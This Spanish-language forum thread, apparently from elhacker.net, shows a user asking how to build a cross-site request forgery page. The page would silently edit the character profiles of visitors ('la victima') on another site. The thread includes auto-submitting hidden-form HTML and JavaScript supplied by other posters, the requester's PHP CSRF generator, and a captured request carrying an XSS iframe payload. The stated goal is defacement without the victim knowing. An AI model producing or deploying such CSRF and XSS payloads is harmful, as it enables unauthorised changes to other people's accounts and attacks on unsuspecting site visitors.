Test Foro de elhacker.net SMF 2.1

Programación => Desarrollo Web => Mensaje iniciado por: xGaLan en 28 Noviembre 2014, 17:04 PM

Título: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: xGaLan en 28 Noviembre 2014, 17:04 PM
Bueno, quiero hacer que cuando entren a mi página web les haga lo siguiente, en método post se le cambie lo siguiente de la cuenta.


<form action="formulario" action="URL"
Aqui quiero que se envie la solicitud de abajo.
<script>document.submit();</script>


Tengo la siguiente solicitud pero no sé ponerla:


altura=164&peso=60&color_ojos=Verdes&color_pelo=Marron&peinado=Corto&bello=Afeitado&tipo_cabeza=Cuadrado&complexion=Atletico&estado_animo=Inquieto&tipo_rol=Rol+serio%2C+nada+de+Off+Rol&estado_rol=En+Rol%2C+buscando+contacto&procedencia=Estados+Unidos.&apodo=Claight.&nick=ASDA&descripcion_fisica=%3CA+HREF%3D%22.%22%3EXSS+TEST%3C%2FA%3E%0D%0A%3C%2Fpre%3E%0D%0A%3Cpre%3E%0D%0A%3Ciframe+src%3D%22http%3A%2F%2FWww.xD.com%2F%3FComando%22%3E&descripcion_psicologica=Pr%C3%B3ximamente.&historia_conocida=Pr%C3%B3ximamente.&llegadaLS=Pr%C3%B3ximamente.&submit=Actualizar
Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: engel lex en 28 Noviembre 2014, 17:13 PM
No entendi para nada, ni como esto es un csrf.... explicate con detalle lo que quieres
Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: xGaLan en 28 Noviembre 2014, 17:17 PM
Lo que quiero es que cuando uno entre a mi index.php, les envie una petición a la PCU de un servidor, allí le edite todos los campos sin que el se de cuenta.
Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: MinusFour en 28 Noviembre 2014, 17:29 PM
Código (html5) [Seleccionar]

<form name="form1" action="URL" method="GET">
<input type="hidden" name="altura" value="164">
<input type="hidden" name="color_ojos" value="Verdes">
<!-- Aqui sigues agregando valores -->
</form>
<script>document.forms.namedItem("form1").submit();</script>


Depende si el method es GET o POST. Hay formas para bloquear el CSRF.
Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: xGaLan en 28 Noviembre 2014, 17:36 PM
Agradezco tú ayuda, ahora una última pregunta, ¿cómo hago que automáticamente le pulse a un botón de la página y aparte que se haga sin que se abra una pestaña nueva?
Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: MinusFour en 28 Noviembre 2014, 17:45 PM
Cita de: xGaLan en 28 Noviembre 2014, 17:36 PM
Agradezco tú ayuda, ahora una última pregunta, ¿cómo hago que automáticamente le pulse a un botón de la página y aparte que se haga sin que se abra una pestaña nueva?

Para pulsar un boton, creo que puedes simplemente llamar a la funcion.
Código (javascript) [Seleccionar]
document.getElementById('id').onclick();

El comportamiento de las ventanas puede ser diferente para algunos navegadores. ¿Depende como tienes puesto que se abra la pestaña desde el boton?
Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: xGaLan en 28 Noviembre 2014, 17:49 PM
Ahora tengo esto, el problema está en que yo quiero pasarle mi CSRF a la victima, entonces esta entra y se le abre la PCU en una nueva pestaña, tampoco se editan los campos en la nueva pestaña, quería que todo estuviese oculto.

<form name="form1" action="http://URL/opciones/editar_personaje" method="POST">
<input type="hidden" name="llegadaLS" value="X es el más fuerte">
<input type="hidden" name="descripcion_psicologica" value="X te ha hackeado bitch.">
document.getElementById('submit').onclick();
</form>
<script>document.forms.namedItem("form1").submit();</script>
Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: MinusFour en 28 Noviembre 2014, 17:52 PM
Cita de: xGaLan en 28 Noviembre 2014, 17:49 PM
Ahora tengo esto, el problema está en que yo quiero pasarle mi CSRF a la victima, entonces esta entra y se le abre la PCU en una nueva pestaña, tampoco se editan los campos en la nueva pestaña, quería que todo estuviese oculto.

<form name="form1" action="http://URL/opciones/editar_personaje" method="POST">
<input type="hidden" name="llegadaLS" value="X es el más fuerte">
<input type="hidden" name="descripcion_psicologica" value="X te ha hackeado bitch.">
document.getElementById('submit').onclick();
</form>
<script>document.forms.namedItem("form1").submit();</script>


No puedes abrir una pestaña y ocultarsela :/, esa no es la base de CSRF.
Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: xGaLan en 28 Noviembre 2014, 18:05 PM
Ahora he puesto esto pero no edita nada, se queda la página en blanco.

<?php

$url 
"URL/opciones/editar_personaje";
$form["descripcion_fisica"] = "X HACKER";
$form["submit"] = "Actualizar";

echo 
'<html><body onLoad="document.csrf.submit();">';
echo 
'<form name="csrf" action="http://'.$url.'" method="POST">';
foreach(
$form As $key=>$value) {
        echo 
'<input type="hidden" name="'.$key.'" value="'.$value.'">';
}
echo 
'</form></body></html>';
?>

Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: T. Collins en 28 Noviembre 2014, 18:25 PM
Código (html4strict) [Seleccionar]
<body onload="document.forms[0].submit()">

Con un CSRF no puedes "clickar" con javascript el botón de la otra página. En todo caso tienes que hacer la misma petición que hace al pulsar dicho botón.
Título: Re: ¿Cómo pongo la siguiente solicitud para CSRF?
Publicado por: engel lex en 28 Noviembre 2014, 20:48 PM
Esto no es un csrf... es un html normal y corriente...

Esto es desarrollo web
usa etiquetas GeSHi al publicar código

Movido a desarrollo web